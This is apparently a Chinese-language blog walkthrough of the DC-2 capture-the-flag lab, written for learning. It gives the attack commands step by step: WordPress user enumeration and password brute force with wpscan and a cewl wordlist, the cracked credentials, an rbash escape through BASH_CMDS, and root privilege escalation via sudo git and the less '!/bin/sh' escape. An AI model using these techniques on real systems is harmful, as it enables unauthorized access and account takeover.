DC-2

环境搭建

过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

渗透测试

flag1

先 nmap 扫出靶机的 IP 地址

1
nmap -sP 192.168.1.0/24

可以去找 dc-2 来找到哪个是靶机的 IP

image-20260220141120555

然后扫这个 IP 的端口和服务

1
nmap -A -p- 192.168.1.17
  • -p-:扫描所有的端口

80 端口服务是 WordPress 4.7.10

image-20260220142259148

如果浏览器输入 IP 自动变成http://dc-2/,但是不能访问,就是域名解析失败,修改一下hosts文件即可,添加一个 IP 域名指向

1
192.168.1.17 dc-2
  • Linux:/etc/hosts

    Linux的要用管理员身份

  • Windows:C:\Windows\System32\drivers\etc\hosts

    Windows的修改一下属性中的只读不要勾选

    image-20260220151056365

浏览器访问可以找到flag1

image-20260220142749328

1
2
3
4
5
6
7
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

flag2

翻译一下flag1的提示

image-20260220142907676

大概是要登录账号的,暴力破解密码,并且说通常的字典没用,要用cewl

既然是要登录账号,那就要去找登录界面,用 dirsearch 扫一下目录

1
dirsearch -u http://dc-2/

image-20260220143411448

可以找到/wp-login.php能登录

image-20260220143520447

然后去搜一下 WordPress 4.7.10 漏洞,可以找到 CVE-2017-5487 用户枚举漏洞比较符合

image-20260220141603280

因为存在的用户登录失败和不存在的用户登录失败的报错是不同的

image-20260220144316300

image-20260220144336252

可以使用 kali 自带的 wpscan 来进行枚举用户

1
wpscan -h

image-20260220144552306

image-20260220144532167

1
wpscan --url http://dc-2/ --enumerate u

可以找到adminjerrytom三个用户

image-20260220144720136

然后就是爆破密码了,之前flag1提到要用 cewl,网上搜一搜:https://www.freebuf.com/articles/network/190128.html

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

image-20260220145245137

使用 cewl 来生成字典

1
cewl http://dc-2/ -w DC-2.txt

image-20260220145420307

然后可以用 wpscan 来爆破密码

image-20260220145535899

1
wpscan --url http://dc-2/ --passwords DC-2.txt

爆出了俩

image-20260220145807707

1
2
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient

然后登录jerry账号可以找到flag2,tom账号里没有

image-20260220151438945

image-20260220151447863

1
2
3
If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

flag3

翻译一下

image-20260220151515313

也就是说不能通过 WrodPress 来getshell,要寻找其他方法,之前扫端口的时候还有扫到一个 7744 端口有 ssh 服务

image-20260220151744762

尝试去登录 ssh,用之前爆出的俩账号试试,大概率是tom,因为jerry用过了,tom还没用

先是jerry / adipiscing,不出意料登录失败

1
ssh jerry@192.168.1.17 -p 7744

image-20260220152042203

然后是tom / parturient,可以成功登录

1
ssh tom@192.168.1.17 -p 7744

image-20260220152230527

发现当前tom的用户目录下就有flag3.txt,不过尝试几个命令都无法读,搜一下发现这是因为正处于受限的rbash环境中

image-20260220152357820

多尝试几次后发现用vi或者less可以读

1
2
vi flag3.txt
less flag3.txt

image-20260220152531306

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag4

翻译一下

image-20260220152634602

可能还有个jerry用户

因为是处于rbash环境里,要想办法逃逸出来

查看可以使用的命令,先找到当前系统的环境变量 PATH 在哪

1
echo $PATH

image-20260220154650959

然后查看可以使用哪些命令

1
ls -la /home/tom/usr/bin

只有lesslsscpvi

image-20260220154836292

文章:https://xz.aliyun.com/news/7237

image-20260220155719672

因为rbash环境原因,$PATH 是只读的,无法添加扩展

image-20260220155754876

可以利用BASH_CMDS来对变量赋值,这不是执行命令,所以不受限制,然后再输入a就可以触发一个新的进程,不再受rbash的限制了

1
2
BASH_CMDS[a]=/bin/sh
a

image-20260220160107925

然后将更多的系统目录添加到环境变量中,就可以正常执行命令了

1
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

image-20260220160236269

然后就可以去读flag4.txt

image-20260220160516161

在rbash受限环境中也可以用vi或者less读,不过还是要逃逸出来,便于后续的操作

1
2
3
4
5
6
7
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

flag5

最后也就是要进行提权,去/root目录下找flag了,这里提示是要用git

image-20260220160713324

但是tom用户没权限执行sudo

1
sudo git help status

image-20260220161427434

要切换成jerry用户

1
2
su jerry
adipiscing

image-20260220161536697

这时可以看一下当前用户被允许用 sudo 执行的命令

1
sudo -l

没问题,确实是要用git提权,NOPASSWD表示不用密码就可以执行命令

image-20260220163518197

然后再输入命令

1
sudo git help status

当执行 git helpgit log时,git 会自动调用系统默认的分页程序(通常是 less)来显示帮助内容,该分页程序继承 git 进程的权限

image-20260220161614830

再输入(直接输入就好)

less分页界面中,输入 !后跟命令,会执行一条 shell 指令,由于当前进程具有 root 权限,执行 !/bin/sh将直接产生一个 root 权限的 shell

1
!/bin/sh

image-20260220161719300

回车后提权成功

image-20260220161747029

去读flag

image-20260220161809848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 __    __     _ _       _                    _ 
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

总结

吐槽一下,刚开始用的 VulnHub 来搭环境的,但是突然给我报错了,最后换成 VMware 来搭,接着是在找靶机的 IP,原本想着是和 DC-1 一样找 VirtualBox 就行了,但是一直没找到,我还以为是靶机搭的有问题,然后去网上搜,还真搜到了关于 VulnHub 靶机分配不到 IP 的问题,然后就是跟着做,但是感觉不一样,怪怪的,因为我发现我的那个配置是没问题的,搞来搞去搞了将近俩小时,最后差点要放弃不想打这个靶机的时候,突然发现 nmap 扫到了dc-2的字样,我也是服了,然后去翻前面的命令,发现我第一次刚开始就扫到了这个靶机的 IP,但是我眼瞎没看到,白白浪费了俩小时

image-20260220162527796

这个靶机学到的知识点:

  • nmap中的-p-可以扫描全部端口
  • 使用 kali 自带的 wpscan 工具打 CVE-2017-5487,还有后面的爆破密码
  • 使用 cewl 来生成密码字典
  • 利用BASH_CMDS进行rbash逃逸
  • 用户切换(低权限用户切换为具有 sudo 权限用户)
  • 最后就是利用 sudo 权限配置问题,可以通过git来提权(本质是分页器命令注入)

最重要的还是信息搜集,如果没有每个flag的提示后续的攻击方向,不会做的那么顺


DC-2
https://yschen20.github.io/2026/02/20/DC-2/
作者
Suzen
发布于
2026年2月20日
更新于
2026年2月20日
许可协议